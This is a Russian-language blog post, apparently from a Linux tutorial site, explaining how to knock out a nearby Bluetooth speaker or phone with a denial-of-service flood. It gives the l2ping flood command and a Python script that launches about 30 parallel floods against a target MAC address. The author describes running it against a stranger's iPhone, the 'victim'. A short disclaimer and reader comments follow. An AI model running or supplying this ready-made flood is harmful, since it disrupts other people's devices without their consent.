Отключение bluetooth колонки, dos-атака на bluetooth в Linux

1. Сканируем блютуз устройства

Устанавливаем blueman. Он понадобится для того, чтобы узнать mac-адрес нужного устройства. Запускаем его и обнаруживаем 2 зловещие устройства.

sudo apt-get install blueman

dos_bluetooth

2. В бой l2ping

sudo l2ping -i hci0 -s размер пакета -f MAC-адрес

Размер пакета - в байтах, чем больше позволяет, тем лучше.

MAC-адрес - адрес блютуз устройства.

К самой колонке этот способ не получилось применить, но к найденному айфону получилось. Это оказалось устройство, которое синхронизировалось с аудио устройством.

dos_bluetooth iphone

Запустив такую команду в нескольких терминалах можно добиться отключения мощного потока, который забьёт канал устройства и оно или отключится, или начнет играть с прерываниями.

Пришлось запустить около 15 терминалов. Но всё зависит от везения, пропускной способности блютуза и подкованности "жертвы" в данной теме.

Добавлю от себя:

Маленький скрипт на python, позволяющий работать с этим не ручками.

#!/usr/bin/env python
import subprocess
from time import sleep

try:
    # 30 - количество потоков. Не переусерствуейте.
    for i in range(1, 30):
        #Заменить мак адрес на свой
        xterm = "sudo l2ping -i hci0 -s 10 -f 00:00:00:00:00:00"
        process = subprocess.Popen(xterm, stderr=subprocess.PIPE, shell=True)
        #data = process.communicate()
        print(i)
        #print(data)
except(KeyboardInterrupt, OSError):
    print("Exit.")

Источники и возможные другие варианты: ист1, ист2, ист3

p.s: информацию предоставил в ознакомительных целях и не несу за нее ответственности. Используйте с умом.

16438 2

Комментарии

Добрый день, Сергей. Я на более новых версиях блютуза не пробовал. Может эта колонка имеет последний блютуз или версию выше, чем у атакуемого устройства. А может есть минимальная программная защита от этого. Жаль что не помогло) Но идея не моя, я описал свою историю всего лишь. Источники на информацию я указал внизу статьи. Извините.
Пробовал на transmart колонке. Ничего из перечисленного не работает!!!
Только авторизованные пользователи могут оставлять комментарии Вход

Похожие статьи

Ubuntu Apache 2.4 Bad Request Size of a request header field exceeds server limit

Настройка Apache для большого объема Cookie. Разберем ошибку "Bad Request. Your browser sent a request that this server could not understand. Size of a request header field exceeds server limit." и параметры для настройки сервера.